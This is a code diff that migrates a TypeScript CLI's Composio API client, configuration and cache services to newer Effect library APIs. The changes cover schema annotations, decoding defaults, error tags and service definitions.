319 + slug: Schema.String,
320 + }).pipe(Schema.withDecodingDefaultType(Effect.succeed({ name: '', slug: '' }))),
321 +}).annotate({ identifier: 'ToolDetailedResponse' });
322 export type ToolDetailedResponse = Schema.Schema.Type<typeof ToolDetailedResponse>;
323
324 export const TriggerTypesAsEnumsResponse = TriggerTypesAsEnums;
@@ -327,37 +328,39 @@ export const TriggerTypesResponse = Schema.Struct({
328 items: TriggerTypes,
329 total_pages: Schema.Int,
330 next_cursor: Schema.NullOr(Schema.String),
330 -}).annotations({ identifier: 'TriggerTypesResponse' });
331 +}).annotate({ identifier: 'TriggerTypesResponse' });
332 export type TriggerTypesResponse = Schema.Schema.Type<typeof TriggerTypesResponse>;
333
334 export const TriggerInstancesListActiveResponse = Schema.Struct({
335 items: TriggerInstanceItems,
335 - total_items: Schema.optionalWith(Schema.Int, { default: () => 0 }),
336 - total_pages: Schema.optionalWith(Schema.Int, { default: () => 1 }),
337 - current_page: Schema.optionalWith(Schema.Int, { default: () => 1 }),
338 - next_cursor: Schema.optionalWith(Schema.NullOr(Schema.String), { default: () => null }),
339 -}).annotations({ identifier: 'TriggerInstancesListActiveResponse' });
336 + total_items: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(0))),
337 + total_pages: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(1))),
338 + current_page: Schema.Int.pipe(Schema.withDecodingDefaultType(Effect.succeed(1))),
339 + next_cursor: Schema.NullOr(Schema.String).pipe(
340 + Schema.withDecodingDefaultType(Effect.succeed(null))
341 + ),
342 +}).annotate({ identifier: 'TriggerInstancesListActiveResponse' });
343 export type TriggerInstancesListActiveResponse = Schema.Schema.Type<
344 typeof TriggerInstancesListActiveResponse
345 >;
346
347 export const TriggerInstanceUpsertResponse = Schema.Struct({
348 trigger_id: Schema.String,
346 -}).annotations({ identifier: 'TriggerInstanceUpsertResponse' });
349 +}).annotate({ identifier: 'TriggerInstanceUpsertResponse' });
350 export type TriggerInstanceUpsertResponse = Schema.Schema.Type<
351 typeof TriggerInstanceUpsertResponse
352 >;
353
354 export const TriggerInstanceManageUpdateResponse = Schema.Struct({
355 status: Schema.Literal('success'),
353 -}).annotations({ identifier: 'TriggerInstanceManageUpdateResponse' });
356 +}).annotate({ identifier: 'TriggerInstanceManageUpdateResponse' });
357 export type TriggerInstanceManageUpdateResponse = Schema.Schema.Type<
358 typeof TriggerInstanceManageUpdateResponse
359 >;
360
361 export const TriggerInstanceManageDeleteResponse = Schema.Struct({
362 trigger_id: Schema.String,
360 -}).annotations({ identifier: 'TriggerInstanceManageDeleteResponse' });
363 +}).annotate({ identifier: 'TriggerInstanceManageDeleteResponse' });
364 export type TriggerInstanceManageDeleteResponse = Schema.Schema.Type<
365 typeof TriggerInstanceManageDeleteResponse
366 >;
@@ -399,7 +402,7 @@ export const SessionInfoResponse = Schema.Struct({
402 key: Schema.optional(Schema.String),
403 })
404 ),
402 -}).annotations({ identifier: 'SessionInfoResponse' });
405 +}).annotate({ identifier: 'SessionInfoResponse' });
406 export type SessionInfoResponse = Schema.Schema.Type<typeof SessionInfoResponse>;
407
408 const authHeaderForApiKey = (apiKey: string): Record<string, string> => ({
@@ -497,10 +500,10 @@ export const ToolkitSearchResponse = Schema.Struct({
500 total_pages: Schema.Int,
501 current_page: Schema.Int,
502 next_cursor: Schema.NullOr(Schema.String),
500 -}).annotations({ identifier: 'ToolkitSearchResponse' });
503 +}).annotate({ identifier: 'ToolkitSearchResponse' });
504
505 // Detailed retrieve response (includes auth_config_details)
503 -export const ToolkitDetailedResponse = ToolkitDetailed.annotations({
506 +export const ToolkitDetailedResponse = ToolkitDetailed.annotate({
507 identifier: 'ToolkitDetailedResponse',
508 });
509
@@ -510,12 +513,14 @@ export const AuthConfigListResponse = Schema.Struct({
513 total_items: Schema.Int,
514 total_pages: Schema.Int,
515 current_page: Schema.Int,
513 - next_cursor: Schema.optionalWith(Schema.NullOr(Schema.String), { default: () => null }),
514 -}).annotations({ identifier: 'AuthConfigListResponse' });
516 + next_cursor: Schema.NullOr(Schema.String).pipe(
517 + Schema.withDecodingDefaultType(Effect.succeed(null))
518 + ),
519 +}).annotate({ identifier: 'AuthConfigListResponse' });
520 export type AuthConfigListResponse = Schema.Schema.Type<typeof AuthConfigListResponse>;
521
522 // Auth config retrieve response (same shape as a single list item)
518 -export const AuthConfigRetrieveResponse = AuthConfigItem.annotations({
523 +export const AuthConfigRetrieveResponse = AuthConfigItem.annotate({
524 identifier: 'AuthConfigRetrieveResponse',
525 });
526 export type AuthConfigRetrieveResponse = Schema.Schema.Type<typeof AuthConfigRetrieveResponse>;
@@ -530,7 +535,7 @@ export const AuthConfigCreateResponse = Schema.Struct({
535 toolkit: Schema.Struct({
536 slug: Schema.String,
537 }),
533 -}).annotations({ identifier: 'AuthConfigCreateResponse' });
538 +}).annotate({ identifier: 'AuthConfigCreateResponse' });
539 export type AuthConfigCreateResponse = Schema.Schema.Type<typeof AuthConfigCreateResponse>;
540
541 // Connected account list response (single page with total_items for "Listing X of Y" display)
@@ -539,12 +544,14 @@ export const ConnectedAccountListResponse = Schema.Struct({
544 total_items: Schema.Int,
545 total_pages: Schema.Int,
546 current_page: Schema.Int,
542 - next_cursor: Schema.optionalWith(Schema.NullOr(Schema.String), { default: () => null }),
543 -}).annotations({ identifier: 'ConnectedAccountListResponse' });
547 + next_cursor: Schema.NullOr(Schema.String).pipe(
548 + Schema.withDecodingDefaultType(Effect.succeed(null))
549 + ),
550 +}).annotate({ identifier: 'ConnectedAccountListResponse' });
551 export type ConnectedAccountListResponse = Schema.Schema.Type<typeof ConnectedAccountListResponse>;
552
553 // Connected account retrieve response (same shape as a single list item)
547 -export const ConnectedAccountRetrieveResponse = ConnectedAccountItem.annotations({
554 +export const ConnectedAccountRetrieveResponse = ConnectedAccountItem.annotate({
555 identifier: 'ConnectedAccountRetrieveResponse',
556 });
557
@@ -554,7 +561,7 @@ export const LinkCreateResponse = Schema.Struct({
561 expires_at: Schema.String,
562 link_token: Schema.String,
563 redirect_url: Schema.String,
557 -}).annotations({ identifier: 'LinkCreateResponse' });
564 +}).annotate({ identifier: 'LinkCreateResponse' });
565 export type LinkCreateResponse = Schema.Schema.Type<typeof LinkCreateResponse>;
566 export type ConnectedAccountRetrieveResponse = Schema.Schema.Type<
567 typeof ConnectedAccountRetrieveResponse
@@ -572,7 +579,7 @@ export const HttpErrorResponse = Schema.Struct({
579 code: Schema.Int,
580 }),
581 }),
575 -}).annotations({ identifier: 'HttpErrorResponse' });
582 +}).annotate({ identifier: 'HttpErrorResponse' });
583 export type HttpErrorResponse = Schema.Schema.Type<typeof HttpErrorResponse>;
584
585 /**
@@ -667,26 +674,23 @@ const streamResponseWithByteCount = (
674 }
675
676 // Convert the ReadableStream to an Effect Stream
670 - const byteStream = Stream.fromReadableStream(
671 - () => body,
672 - (error: unknown) =>
677 + const byteStream = Stream.fromReadableStream({
678 + evaluate: () => body,
679 + onError: (error: unknown) =>
680 new HttpServerError({
681 cause: error,
675 - })
676 - );
682 + }),
683 + });
684
685 // Collect all chunks while counting bytes (mutate array in-place for O(N) instead of O(N^2))
686 const [chunks, byteSize] = yield* pipe(
687 byteStream,
681 - Stream.run(
682 - Sink.fold<[Uint8Array[], number], Uint8Array>(
683 - [[], 0],
684 - () => true,
685 - ([chunks, size], chunk) => {
686 - chunks.push(chunk);
687 - return [chunks, size + chunk.byteLength] as [Uint8Array[], number];
688 - }
689 - )
688 + Stream.runFold(
689 + (): [Uint8Array[], number] => [[], 0],
690 + ([chunks, size], chunk) => {
691 + chunks.push(chunk);
692 + return [chunks, size + chunk.byteLength] as [Uint8Array[], number];
693 + }
694 )
695 );
696
@@ -722,7 +726,7 @@ export const OrgProject = Schema.Struct({
726 org_id: Schema.String,
727 created_at: Schema.String,
728 updated_at: Schema.String,
725 -}).annotations({ identifier: 'OrgProject' });
729 +}).annotate({ identifier: 'OrgProject' });
730 export type OrgProject = Schema.Schema.Type<typeof OrgProject>;
731
732 /**
@@ -734,7 +738,7 @@ export const OrgProjectListResponse = Schema.Struct({
738 total_pages: Schema.Int,
739 current_page: Schema.Int,
740 total_items: Schema.Int,
737 -}).annotations({ identifier: 'OrgProjectListResponse' });
741 +}).annotate({ identifier: 'OrgProjectListResponse' });
742 export type OrgProjectListResponse = Schema.Schema.Type<typeof OrgProjectListResponse>;
743
744 export interface OrganizationSummary {
@@ -764,7 +768,7 @@ export const ConsumerProjectResolveResponse = Schema.Struct({
768 org_id: Schema.String,
769 project_type: Schema.Literal('CONSUMER'),
770 consumer_user_id: Schema.String,
767 -}).annotations({ identifier: 'ConsumerProjectResolveResponse' });
771 +}).annotate({ identifier: 'ConsumerProjectResolveResponse' });
772 export type ConsumerProjectResolveResponse = Schema.Schema.Type<
773 typeof ConsumerProjectResolveResponse
774 >;
@@ -772,12 +776,12 @@ export type ConsumerProjectResolveResponse = Schema.Schema.Type<
776 export const LatestToolVersionResponse = Schema.Struct({
777 tool_slug: Schema.String,
778 version: Schema.String,
775 -}).annotations({ identifier: 'LatestToolVersionResponse' });
779 +}).annotate({ identifier: 'LatestToolVersionResponse' });
780 export type LatestToolVersionResponse = Schema.Schema.Type<typeof LatestToolVersionResponse>;
781
782 export const ConsumerConnectedToolkitsResponse = Schema.Struct({
783 toolkits: Schema.Array(Schema.String),
780 -}).annotations({ identifier: 'ConsumerConnectedToolkitsResponse' });
784 +}).annotate({ identifier: 'ConsumerConnectedToolkitsResponse' });
785 export type ConsumerConnectedToolkitsResponse = Schema.Schema.Type<
786 typeof ConsumerConnectedToolkitsResponse
787 >;
@@ -958,13 +962,14 @@ export const listOrgProjects = (params: {
962 const { json } = yield* streamResponseWithByteCount(response);
963
964 return yield* pipe(
961 - Schema.decodeUnknown(OrgProjectListResponse)(json),
962 - Effect.catchTag('ParseError', e => {
963 - const message = ParseResult.TreeFormatter.formatErrorSync(e);
964 - return new HttpDecodingError({
965 - cause: `ParseError\n ${message}`,
966 - });
967 - })
965 + Schema.decodeUnknownEffect(OrgProjectListResponse)(json),
966 + Effect.catchTag(
967 + 'SchemaError',
968 + e =>
969 + new HttpDecodingError({
970 + cause: `SchemaError\n ${e.message}`,
971 + })
972 + )
973 );
974 });
975
@@ -1005,13 +1010,14 @@ export const getSessionInfo = (params: {
1010 const { json } = yield* streamResponseWithByteCount(response);
1011
1012 return yield* pipe(
1008 - Schema.decodeUnknown(SessionInfoResponse)(json),
1009 - Effect.catchTag('ParseError', e => {
1010 - const message = ParseResult.TreeFormatter.formatErrorSync(e);
1011 - return new HttpDecodingError({
1012 - cause: `ParseError\n ${message}`,
1013 - });
1014 - })
1013 + Schema.decodeUnknownEffect(SessionInfoResponse)(json),
1014 + Effect.catchTag(
1015 + 'SchemaError',
1016 + e =>
1017 + new HttpDecodingError({
1018 + cause: `SchemaError\n ${e.message}`,
1019 + })
1020 + )
1021 );
1022 });
1023
@@ -1056,13 +1062,14 @@ export const getSessionInfoByUserApiKey = (params: {
1062 const { json } = yield* streamResponseWithByteCount(response);
1063
1064 return yield* pipe(
1059 - Schema.decodeUnknown(SessionInfoResponse)(json),
1060 - Effect.catchTag('ParseError', e => {
1061 - const message = ParseResult.TreeFormatter.formatErrorSync(e);
1062 - return new HttpDecodingError({
1063 - cause: `ParseError\n ${message}`,
1064 - });
1065 - })
1065 + Schema.decodeUnknownEffect(SessionInfoResponse)(json),
1066 + Effect.catchTag(
1067 + 'SchemaError',
1068 + e =>
1069 + new HttpDecodingError({
1070 + cause: `SchemaError\n ${e.message}`,
1071 + })
1072 + )
1073 );
1074 });
1075
@@ -1171,13 +1178,14 @@ export const resolveConsumerProject = (params: {
1178 const { json } = yield* streamResponseWithByteCount(response);
1179
1180 return yield* pipe(
1174 - Schema.decodeUnknown(ConsumerProjectResolveResponse)(json),
1175 - Effect.catchTag('ParseError', e => {
1176 - const message = ParseResult.TreeFormatter.formatErrorSync(e);
1177 - return new HttpDecodingError({
1178 - cause: `ParseError\n ${message}`,
1179 - });
1180 - })
1181 + Schema.decodeUnknownEffect(ConsumerProjectResolveResponse)(json),
1182 + Effect.catchTag(
1183 + 'SchemaError',
1184 + e =>
1185 + new HttpDecodingError({
1186 + cause: `SchemaError\n ${e.message}`,
1187 + })
1188 + )
1189 );
1190 });
1191
@@ -1219,13 +1227,14 @@ export const getLatestToolVersion = (params: {
1227 const { json } = yield* streamResponseWithByteCount(response);
1228
1229 return yield* pipe(
1222 - Schema.decodeUnknown(LatestToolVersionResponse)(json),
1223 - Effect.catchTag('ParseError', e => {
1224 - const message = ParseResult.TreeFormatter.formatErrorSync(e);
1225 - return new HttpDecodingError({
1226 - cause: `ParseError\n ${message}`,
1227 - });
1228 - })
1230 + Schema.decodeUnknownEffect(LatestToolVersionResponse)(json),
1231 + Effect.catchTag(
1232 + 'SchemaError',
1233 + e =>
1234 + new HttpDecodingError({
1235 + cause: `SchemaError\n ${e.message}`,
1236 + })
1237 + )
1238 );
1239 });
1240
@@ -1262,13 +1271,14 @@ export const getConsumerConnectedToolkits = (params: {
1271 const { json } = yield* streamResponseWithByteCount(response);
1272
1273 return yield* pipe(
1265 - Schema.decodeUnknown(ConsumerConnectedToolkitsResponse)(json),
1266 - Effect.catchTag('ParseError', e => {
1267 - const message = ParseResult.TreeFormatter.formatErrorSync(e);
1268 - return new HttpDecodingError({
1269 - cause: `ParseError\n ${message}`,
1270 - });
1271 - })
1274 + Schema.decodeUnknownEffect(ConsumerConnectedToolkitsResponse)(json),
1275 + Effect.catchTag(
1276 + 'SchemaError',
1277 + e =>
1278 + new HttpDecodingError({
1279 + cause: `SchemaError\n ${e.message}`,
1280 + })
1281 + )
1282 );
1283 });
1284
@@ -1379,13 +1389,14 @@ const buildDefaultHeaders = (params: {
1389 };
1390
1391 // Utility function for calling the Composio API and decoding its response.
1382 -const callClient = <T, S extends Schema.Schema.AnyNoContext>(
1392 +const callClient = <T, S extends Schema.Top>(
1393 clientSingleton: ComposioClientSingletonShape,
1394 apiCall: (client: _RawComposioClient) => APIPromise<T>,
1395 responseSchema: S
1396 ): Effect.Effect<
1387 - { data: Schema.Schema.Type<S>; metrics: Metrics },
1388 - HttpError | NoSuchElementException
1397 + { data: S['Type']; metrics: Metrics },
1398 + HttpError | NoSuchElementError,
1399 + S['DecodingServices']
1400 > =>
1401 Effect.gen(function* () {
1402 const client = yield* clientSingleton.get();
@@ -1406,15 +1417,15 @@ const callClient = <T, S extends Schema.Schema.AnyNoContext>(
1417 const { json, byteSize } = yield* streamResponseWithByteCount(response);
1418 const metrics = { byteSize, requests: 1 };
1419
1409 - const typedJson = yield* pipe(
1410 - Schema.decodeUnknown(responseSchema)(json),
1411 - Effect.catchTag('ParseError', e => {
1412 - const message = ParseResult.TreeFormatter.formatErrorSync(e);
1413 -
1414 - return new HttpDecodingError({
1415 - cause: `ParseError\n ${message}`,
1416 - });
1417 - })
1420 + const typedJson: S['Type'] = yield* pipe(
1421 + Schema.decodeUnknownEffect(responseSchema)(json),
1422 + Effect.catchTag(
1423 + 'SchemaError',
1424 + e =>
1425 + new HttpDecodingError({
1426 + cause: `SchemaError\n ${e.message}`,
1427 + })
1428 + )
1429 );
1430
1431 return { metrics, data: typedJson };
@@ -1423,7 +1434,7 @@ const callClient = <T, S extends Schema.Schema.AnyNoContext>(
1434 // Schema constraint for paginated responses: the decoded page must expose the
1435 // pagination envelope, expressed through the schema's `Type` phantom property so
1436 // concrete item types stay free of `any`.
1426 -type PaginatedSchema = Schema.Schema.AnyNoContext & {
1437 +type PaginatedSchema = Schema.Top & {
1438 readonly Type: {
1439 readonly items: ReadonlyArray<unknown>;
1440 readonly next_cursor: string | null;
@@ -1444,8 +1455,9 @@ const callClientWithPagination = <T, S extends PaginatedSchema>(
1455 apiCall: (client: _RawComposioClient, cursor?: string, limit?: number) => APIPromise<T>,
1456 responseSchema: S
1457 ): Effect.Effect<
1447 - { data: Schema.Schema.Type<S>; metrics: Metrics },
1448 - HttpError | NoSuchElementException
1458 + { data: S['Type']; metrics: Metrics },
1459 + HttpError | NoSuchElementError,
1460 + S['DecodingServices']
1461 > =>
1462 Effect.gen(function* () {
1463 const client = yield* clientSingleton.get();
@@ -1471,18 +1483,18 @@ const callClientWithPagination = <T, S extends PaginatedSchema>(
1483 return yield* streamResponseWithByteCount(response);
1484 });
1485
1474 - type DecodedPage = Schema.Schema.Type<S>;
1486 + type DecodedPage = S['Type'];
1487
1488 const decodeResponse = (json: unknown): Effect.Effect<DecodedPage, HttpDecodingError> =>
1489 pipe(
1478 - Schema.decodeUnknown(responseSchema)(json),
1479 - Effect.catchTag('ParseError', e => {
1480 - const message = ParseResult.TreeFormatter.formatErrorSync(e);
1481 -
1482 - return new HttpDecodingError({
1483 - cause: `ParseError\n ${message}`,
1484 - });
1485 - })
1490 + Schema.decodeUnknownEffect(responseSchema)(json),
1491 + Effect.catchTag(
1492 + 'SchemaError',
1493 + e =>
1494 + new HttpDecodingError({
1495 + cause: `SchemaError\n ${e.message}`,
1496 + })
1497 + )
1498 ) as Effect.Effect<DecodedPage, HttpDecodingError>;
1499
1500 let allItems: ReadonlyArray<unknown> = [];
@@ -1523,6 +1535,18 @@ const callClientWithPagination = <T, S extends PaginatedSchema>(
1535 * Services
1536 */
1537
1538 +/**
1539 + * Shape exposed by {@link ComposioClientSingleton}.
1540 + */
1541 +export interface ComposioClientSingletonShape {
1542 + readonly get: () => Effect.Effect<_RawComposioClient, NoSuchElementError>;
1543 + readonly getFor: (params: {
1544 + userApiKey?: string;
1545 + orgId?: string;
1546 + projectId?: string;
1547 + }) => Effect.Effect<_RawComposioClient, NoSuchElementError>;
1548 +}
1549 +
1550 /**
1551 * Singleton service that lazily accesses `Config` only when needed, which is used to build and provide
1552 * a raw (uneffectful, Promise-based) Composio client instance.
@@ -1574,7 +1598,7 @@ const makeComposioClientSingleton = Effect.gen(function* () {
1598 const resolvedProjectContext = yield* Option.match(projectContextOpt, {
1599 onNone: () => Effect.succeed(Option.none()),
1600 onSome: projectContext =>
1577 - projectContext.resolve.pipe(Effect.catchAll(() => Effect.succeed(Option.none()))),
1601 + projectContext.resolve.pipe(Effect.catch(() => Effect.succeed(Option.none()))),
1602 });
1603 return yield* Option.match(resolvedProjectContext, {
1604 onNone: () => getFor(),
@@ -1584,7 +1608,7 @@ const makeComposioClientSingleton = Effect.gen(function* () {
1608 projectId: keys.projectId,
1609 }),
1610 });
1587 - }) satisfies () => Effect.Effect<_RawComposioClient, NoSuchElementException, never>,
1611 + }) satisfies () => Effect.Effect<_RawComposioClient, NoSuchElementError, never>,
1612 getFor: Effect.fn(function* (params: {
1613 userApiKey?: string;
1614 orgId?: string;
@@ -1595,18 +1619,14 @@ const makeComposioClientSingleton = Effect.gen(function* () {
1619 userApiKey?: string;
1620 orgId?: string;
1621 projectId?: string;
1598 - }) => Effect.Effect<_RawComposioClient, NoSuchElementException, never>,
1622 + }) => Effect.Effect<_RawComposioClient, NoSuchElementError, never>,
1623 };
1624 });
1625
1602 -export type ComposioClientSingletonShape = Effect.Effect.Success<
1603 - typeof makeComposioClientSingleton
1604 ->;
1605 -
1606 -export class ComposioClientSingleton extends Context.Tag('services/ComposioClientSingleton')<
1626 +export class ComposioClientSingleton extends Context.Service<
1627 ComposioClientSingleton,
1628 ComposioClientSingletonShape
1609 ->() {
1629 +>()('services/ComposioClientSingleton') {
1630 static readonly Default = Layer.effect(ComposioClientSingleton, makeComposioClientSingleton).pipe(
1631 Layer.provide(ComposioUserContextLive)
1632 );
@@ -2063,12 +2083,12 @@ const makeComposioClientLive = Effect.gen(function* () {
2083 };
2084 });
2085
2066 -export type ComposioClientLiveShape = Effect.Effect.Success<typeof makeComposioClientLive>;
2086 +export type ComposioClientLiveShape = Effect.Success<typeof makeComposioClientLive>;
2087
2068 -export class ComposioClientLive extends Context.Tag('services/ComposioClientLive')<
2088 +export class ComposioClientLive extends Context.Service<
2089 ComposioClientLive,
2090 ComposioClientLiveShape
2071 ->() {
2091 +>()('services/ComposioClientLive') {
2092 static readonly Default = Layer.effect(ComposioClientLive, makeComposioClientLive).pipe(
2093 Layer.provide(ComposioClientSingleton.Default)
2094 );
@@ -2094,17 +2114,17 @@ const makeComposioToolkitsRepository = Effect.gen(function* () {
2114 client.toolkits.retrieve(slug).pipe(
2115 // Only convert 404 errors to InvalidToolkitsError.
2116 // Other HTTP errors (500, 401, network failures, etc.) should propagate as-is.
2097 - Effect.catchTag('services/HttpServerError', e =>
2098 - Effect.if(e.status === 404, {
2099 - onTrue: () =>
2100 - Effect.fail(
2101 - new InvalidToolkitsError({
2102 - invalidToolkits: [slug],
2103 - availableToolkits: [],
2104 - })
2105 - ),
2106 - onFalse: () => Effect.fail(e),
2107 - })
2117 + Effect.catchTag(
2118 + 'services/HttpServerError',
2119 + (e): Effect.Effect<never, InvalidToolkitsError | HttpServerError> =>
2120 + e.status === 404
2121 + ? Effect.fail(
2122 + new InvalidToolkitsError({
2123 + invalidToolkits: [slug],
2124 + availableToolkits: [],
2125 + })
2126 + )
2127 + : Effect.fail(e)
2128 )
2129 )
2130 ),
@@ -2161,7 +2181,7 @@ const makeComposioToolkitsRepository = Effect.gen(function* () {
2181 toolkitSlugs: ReadonlyArray<string>
2182 ): Effect.Effect<
2183 ReadonlyArray<string>,
2164 - InvalidToolkitsError | HttpError | NoSuchElementException
2184 + InvalidToolkitsError | HttpError | NoSuchElementError
2185 > =>
2186 Effect.gen(function* () {
2187 // Normalize input slugs to lowercase for comparison
@@ -2213,7 +2233,7 @@ const makeComposioToolkitsRepository = Effect.gen(function* () {
2233 validatedOverrides: ToolkitVersionOverrides;
2234 warnings: ReadonlyArray<string>;
2235 },
2216 - InvalidToolkitVersionsError | InvalidToolkitsError | HttpError | NoSuchElementException
2236 + InvalidToolkitVersionsError | InvalidToolkitsError | HttpError | NoSuchElementError
2237 > => validateToolkitVersionsImpl(client, overrides, relevantToolkits),
2238 /**
2239 * Searches toolkits with optional filters. Returns a single page of results.
@@ -2282,14 +2302,12 @@ const makeComposioToolkitsRepository = Effect.gen(function* () {
2302 };
2303 });
2304
2285 -export type ComposioToolkitsRepositoryShape = Effect.Effect.Success<
2286 - typeof makeComposioToolkitsRepository
2287 ->;
2305 +export type ComposioToolkitsRepositoryShape = Effect.Success<typeof makeComposioToolkitsRepository>;
2306
2289 -export class ComposioToolkitsRepository extends Context.Tag('services/ComposioToolkitsRepository')<
2307 +export class ComposioToolkitsRepository extends Context.Service<
2308 ComposioToolkitsRepository,
2309 ComposioToolkitsRepositoryShape
2292 ->() {
2310 +>()('services/ComposioToolkitsRepository') {
2311 static readonly Default = Layer.effect(
2312 ComposioToolkitsRepository,
2313 makeComposioToolkitsRepository
@@ -2308,14 +2326,12 @@ const makeComposioSessionRepository = Effect.gen(function* () {
2326 };
2327 });
2328
2311 -export type ComposioSessionRepositoryShape = Effect.Effect.Success<
2312 - typeof makeComposioSessionRepository
2313 ->;
2329 +export type ComposioSessionRepositoryShape = Effect.Success<typeof makeComposioSessionRepository>;
2330
2315 -export class ComposioSessionRepository extends Context.Tag('services/ComposioSessionRepository')<
2331 +export class ComposioSessionRepository extends Context.Service<
2332 ComposioSessionRepository,
2333 ComposioSessionRepositoryShape
2318 ->() {
2334 +>()('services/ComposioSessionRepository') {
2335 static readonly Default = Layer.effect(
2336 ComposioSessionRepository,
2337 makeComposioSessionRepository
ts/packages/cli/src/services/config.ts
+27 -11
@@ -1,4 +1,4 @@
1 -import { Config, Option, Effect, ConfigProvider, Layer, Logger } from 'effect';
1 +import { Config, Option, Effect, ConfigProvider, Layer, References } from 'effect';
2 import * as constants from 'src/constants';
3 import { DEBUG_OVERRIDE_CONFIG } from 'src/effects/debug-config';
4 import { APP_CONFIG } from 'src/effects/app-config';
@@ -21,23 +21,39 @@ import { APP_CONFIG } from 'src/effects/app-config';
21 * Read via `yield* Config.string('USER_API_KEY')`.
22 */
23
24 -export const BaseConfigProviderLive = ConfigProvider.fromEnv();
24 +/**
25 + * Builds a fresh `ConfigProvider` backed by the current process environment.
26 + *
27 + * This MUST be constructed lazily (a function, not a memoized module-level
28 + * constant): `ConfigProvider.fromEnv()` snapshots `process.env` into an
29 + * internal trie at construction time, so a module-level constant would freeze
30 + * the environment as of first import and never observe later env var changes
31 + * (e.g. `vi.stubEnv` in tests, or any other in-process env mutation).
32 + */
33 +export function getBaseConfigProvider(): ConfigProvider.ConfigProvider {
34 + return ConfigProvider.fromEnv();
35 +}
36
37 /**
38 * Load a config whose keys are spelled out in full, through the raw provider
39 * that applies no `COMPOSIO_` prefix mapping. Pair it with `UNPREFIXED_CONFIG`.
40 */
41 export const loadHostConfig = <A>(config: Config.Config<A>): Effect.Effect<A> =>
31 - BaseConfigProviderLive.load(config).pipe(Effect.orDie);
42 + Effect.suspend(() => config.parse(getBaseConfigProvider())).pipe(Effect.orDie);
43
44 export function extendConfigProvider(baseConfigProvider: ConfigProvider.ConfigProvider) {
45 return baseConfigProvider.pipe(
35 - ConfigProvider.mapInputPath(key => {
36 - if (key.startsWith('DEBUG_OVERRIDE_') || key.startsWith('FORCE_')) {
37 - return key;
38 - }
39 - return `${constants.APP_ENV_CONFIG_KEY_PREFIX}${key}`;
40 - })
46 + ConfigProvider.mapInput(path =>
47 + path.map(segment => {
48 + if (typeof segment !== 'string') {
49 + return segment;
50 + }
51 + if (segment.startsWith('DEBUG_OVERRIDE_') || segment.startsWith('FORCE_')) {
52 + return segment;
53 + }
54 + return `${constants.APP_ENV_CONFIG_KEY_PREFIX}${segment}`;
55 + })
56 + )
57 );
58 }
59
@@ -48,9 +64,9 @@ const LoggerFromConfigLive = Effect.map(
64 APP_CONFIG['LOG_LEVEL'],
65 Option.match({
66 onNone: () => Layer.empty,
51 - onSome: logLevel => Logger.minimumLogLevel(logLevel),
67 + onSome: logLevel => Layer.succeed(References.MinimumLogLevel, logLevel),
68 })
53 -).pipe(Layer.unwrapEffect);
69 +).pipe(Layer.unwrap);
70
71 /**
72 * Print a debug message for each debug environment variable that overrides dynamic configuration values.
ts/packages/cli/src/services/consumer-short-term-cache.ts
+13 -16
@@ -1,5 +1,5 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 import { Effect, Option, Record as EffectRecord, Schema } from 'effect';
4 import { APP_CONFIG } from 'src/effects/app-config';
5 import { JsonRecordSchema } from 'src/effects/json';
@@ -25,11 +25,11 @@ const CACHE_FILE = 'consumer-short-term-cache.json';
25 const CACHE_TTL_MS = 15 * 60 * 1000;
26 const SEARCH_SESSION_EXTENSION_MS = 5 * 60 * 1000;
27
28 -const StringMappingsSchema = Schema.Record({ key: Schema.String, value: Schema.String });
29 -const AvailableConnectedAccountsSchema = Schema.Record({
30 - key: Schema.String,
31 - value: Schema.Array(CachedConnectedAccountSummarySchema),
32 -});
28 +const StringMappingsSchema = Schema.Record(Schema.String, Schema.String);
29 +const AvailableConnectedAccountsSchema = Schema.Record(
30 + Schema.String,
31 + Schema.Array(CachedConnectedAccountSummarySchema)
32 +);
33 const ConsumerToolRouterAuthConfigMappingsSchema = Schema.Struct({
34 authConfigs: Schema.optional(StringMappingsSchema),
35 });
@@ -43,10 +43,7 @@ const CacheEntrySchema = Schema.Struct({
43 toolRouterAuthConfigs: Schema.optional(ConsumerToolRouterAuthConfigMappingsSchema),
44 toolRouterConnectedAccounts: Schema.optional(ConsumerToolRouterConnectedAccountMappingsSchema),
45 probablyMyCliSessionsByCwdHash: Schema.optional(
46 - Schema.Record({
47 - key: Schema.String,
48 - value: Schema.Struct({ id: Schema.String, expiresAt: Schema.String }),
49 - })
46 + Schema.Record(Schema.String, Schema.Struct({ id: Schema.String, expiresAt: Schema.String }))
47 ),
48 });
49
@@ -56,7 +53,7 @@ export type ConsumerToolRouterConnectedAccountMappings =
53 typeof ConsumerToolRouterConnectedAccountMappingsSchema.Type;
54 type CacheEntry = typeof CacheEntrySchema.Type;
55 type CacheState = { readonly [key: string]: CacheEntry };
59 -const decodeCacheShell = Schema.decodeUnknownOption(Schema.parseJson(JsonRecordSchema));
56 +const decodeCacheShell = Schema.decodeUnknownOption(Schema.fromJsonString(JsonRecordSchema));
57 const decodeCacheEntry = Schema.decodeUnknownOption(CacheEntrySchema);
58
59 // Per-entry decode: one stale or version-skewed entry (e.g. written by a
@@ -136,10 +133,10 @@ const writeCache = (state: CacheState) =>
133 const fs = yield* FileSystem.FileSystem;
134 const cacheDir = yield* setupCacheDir;
135 const filePath = yield* cachePath;
139 - yield* fs.makeDirectory(cacheDir, { recursive: true }).pipe(Effect.catchAll(() => Effect.void));
136 + yield* fs.makeDirectory(cacheDir, { recursive: true }).pipe(Effect.catch(() => Effect.void));
137 yield* fs
138 .writeFileString(filePath, JSON.stringify(state, null, 2))
142 - .pipe(Effect.catchAll(() => Effect.void));
139 + .pipe(Effect.catch(() => Effect.void));
140 });
141
142 const getAlwaysConnectedNoAuthToolkits = () =>
@@ -543,8 +540,8 @@ export const primeConsumerConnectedToolkitsCacheInBackground = (params?: {
540 readonly consumerUserId?: string;
541 }) =>
542 refreshConsumerConnectedToolkitsCache(params).pipe(
546 - Effect.catchAll(() => Effect.void),
547 - Effect.forkDaemon,
543 + Effect.catch(() => Effect.void),
544 + Effect.forkDetach,
545 Effect.asVoid
546 );
547
ts/packages/cli/src/services/detached-process.ts
+3 -3
@@ -1,7 +1,7 @@
1 // eslint-disable-next-line no-restricted-imports -- This Effect helper is the sole detached-spawn boundary for CLI source: @effect/platform Command processes are scope-bound and are killed when their scope closes, while these children must outlive the CLI process.
2 import { spawn } from 'node:child_process';
3 import process from 'node:process';
